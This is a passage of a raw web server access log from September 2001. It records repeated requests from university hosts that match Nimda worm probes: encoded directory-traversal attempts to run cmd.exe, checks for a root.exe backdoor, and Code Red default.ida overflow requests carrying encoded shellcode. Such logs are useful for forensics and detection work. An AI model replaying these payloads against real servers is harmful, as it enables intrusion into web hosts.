16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:59:26: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 16:59:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:02:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:02:16: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:04:22: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 17:04:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:06:47: facilities.brown.edu [128.148.132.13] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:08:00: facilities.brown.edu [128.148.132.13] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:08:00: facilities.brown.edu [128.148.132.13] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:08:00: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 17:10:43: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:12:15: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:12:15: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:12:17: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:14:21: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:14:21: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:21: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:14:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:19:14: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:19:14: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:14: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:14: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:14: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:14: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:19:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:28:08: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:28:08: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:28:10: dhcp0.cs.columbia.edu [128.59.19.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 17:28:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:32:18: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:33:42: [207.217.253.41] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:34:24: [207.217.253.41] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:34:43: [207.217.253.41] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:35:01: [207.217.253.41] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:35:20: [207.217.253.41] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:35:41: [207.217.253.41] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:36:00: [207.217.253.41] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:36:19: [207.217.253.41] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:36:37: [207.217.253.41] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:36:56: [207.217.253.41] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:37:18: tfh-office.phys.columbia.edu 